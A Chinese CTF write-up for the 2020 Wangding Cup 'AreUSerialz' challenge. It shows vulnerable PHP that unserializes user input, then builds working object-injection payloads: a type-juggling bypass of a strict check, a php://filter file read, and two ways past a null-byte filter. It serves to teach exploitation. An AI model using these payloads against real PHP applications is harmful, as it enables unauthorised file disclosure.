[网鼎杯 2020 青龙组]AreUSerialz
直接给出源码
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
代码大概看了一下,总体解题思路就是构造反序列化给str变量,当执行这个主函数进行反序列化时,
调用了FileHandler 类,进而读取flag.php。
首先我先尝试构造了这样的exp:
<?php class FileHandler { protected $op = 2; protected $filename = "flag.php"; protected $content; } $A=new FileHandler(); $B=serialize($A); echo $B;
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
为什么要构造op=2,由于没有搞清代码执行流程,一开始想的比较简单,就是直接进入read()方法,没有细致考虑destruct方法
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
看了师傅们的wp才明确知道构造op=2 是为了当自动执行魔术方法_destruct时,绕过if($this->op === "2")这条强类型判断。
2==="2"为假,而
进入到process()方法中2=="2"为真,执行read()方法,读取文件。
还需要知道的是
此题的成员变量是protected属性,会在变量名前加%00*%00。此时要注意is_valid方法,%00的ascii码为0,
是无法通过检查的。
绕过方法之一是:
简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
<?php class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//伪协议转化为base64读取,php代码无法直接读取 public $content; } $A=new FileHandler(); $B=serialize($A); echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
传参得到flag。
还有一种绕过方法就是
php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
序列化完结果看似是没有%00,但是直接传参得不到flag。
其实可以用脚本可以发现是有ascii为0的。
<?php class FileHandler { protected $op = 2; protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; protected $content; } $A=new FileHandler(); $B=serialize($A); $B = str_replace(chr(0), '\00', $B); $B = str_replace('s:', 'S:', $B); echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
传参得到flag.
总的来说这题涉及到的知识还是挺广的,对于代码的执行流程一定要清楚。